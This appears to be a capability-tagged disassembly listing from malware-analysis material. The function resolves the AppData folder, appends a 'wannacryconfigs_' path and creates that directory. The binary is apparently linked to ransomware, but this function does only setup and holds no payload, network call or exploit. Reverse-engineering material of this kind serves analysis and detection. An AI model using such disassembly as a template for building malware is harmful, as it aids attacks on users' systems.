Function at 0x140009010
Capabilities:
Create directory
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov r14, rcx
xor r12d, r12d
lea r15, [0x14010c070]
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
lea edx, [r12 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x14000935a
xorps xmm0, xmm0
movups xmmword [rbp - 0x79], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x69], xmm1
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [r15 + r8], r12b
jne 0x140009080
mov rdx, r15
lea rcx, [rbp - 0x79]
call fcn.140002120
nop
mov r8d, 0x12
lea rdx, str.wannacryconfigs_
lea rcx, [rbp - 0x79]
call fcn.140002030
movups xmm6, xmmword [rax]
movups xmmword [rbp - 0x51], xmm6
movups xmm7, xmmword [rax + 0x10]
movups xmmword [rbp - 0x41], xmm7
mov qword [rax + 0x10], r12
mov edi, 0xf
mov qword [rax + 0x18], rdi
mov byte [rax], 0
mov rsi, qword [r14]
lea rax, [rbp - 0x51]
cmp rsi, rax
je 0x14000911c
mov rdx, qword [rsi + 0x18]
cmp rdx, rdi
jbe 0x14000910c
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x140009107
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000914d
mov rcx, r8
call fcn.14005ef2c
movups xmmword [rsi], xmm6
movups xmmword [rsi + 0x10], xmm7
mov rdx, rdi
mov byte [rbp - 0x51], 0
jmp 0x140009120
mov rdx, qword [rbp - 0x39]
cmp rdx, rdi
jbe 0x14000915a
inc rdx
mov rcx, qword [rbp - 0x51]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009154
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009154
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005ef2c
nop
mov rdx, qword [rbp - 0x61]
cmp rdx, 0xf
jbe 0x140009198
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009193
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009193
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005ef2c
mov rsi, qword [r14 + 0x10]
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 1], xmm1
nop dword [rax + rax]
inc rbx
cmp byte [r15 + rbx], 0
jne 0x1400091b0
mov r8, rbx
mov rdx, r15
lea rcx, [rbp - 0x11]
call fcn.140002120
nop
mov r8d, 0x12
lea rdx, str.wannacryconfigs_
lea rcx, [rbp - 0x11]
call fcn.140002030
xorps xmm0, xmm0
movups xmmword [rbp - 0x79], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x69], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x79], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x69], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], rdi
mov byte [rax], 0
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
jbe 0x140009217
mov rsi, qword [rsi]
mov rdx, rsi
lea rcx, [rbp - 0x79]
call fcn.140002030
movups xmm6, xmmword [rax]
movups xmmword [rbp - 0x31], xmm6
movups xmm7, xmmword [rax + 0x10]
movups xmmword [rbp - 0x21], xmm7
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], rdi
mov byte [rax], 0
mov rbx, qword [r14 + 8]
lea rax, [rbp - 0x31]
cmp rbx, rax
je 0x14000928d
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140009280
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000927b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400092c0
mov rcx, r8
call fcn.14005ef2c
movups xmmword [rbx], xmm6
movups xmmword [rbx + 0x10], xmm7
mov byte [rbp - 0x31], 0
jmp 0x140009291
mov rdi, qword [rbp - 0x19]
cmp rdi, 0xf
jbe 0x1400092cd
lea rdx, [rdi + 1]
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400092c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400092c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005ef2c
nop
mov rdx, qword [rbp - 0x61]
cmp rdx, 0xf
jbe 0x14000930b
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009306
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009306
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005ef2c
movdqa xmm0, xmmword [0x14006b020]
movdqu xmmword [rbp - 0x69], xmm0
mov byte [rbp - 0x79], 0
mov rdx, qword [rbp + 7]
cmp rdx, 0xf
jbe 0x14000935a
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009355
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009355
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005ef2c
mov rcx, qword [r14]
cmp qword [rcx + 0x18], 0xf
jbe case.default.0x14000938e
mov rcx, qword [rcx]
xor edx, edx
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_CreateDirectoryA]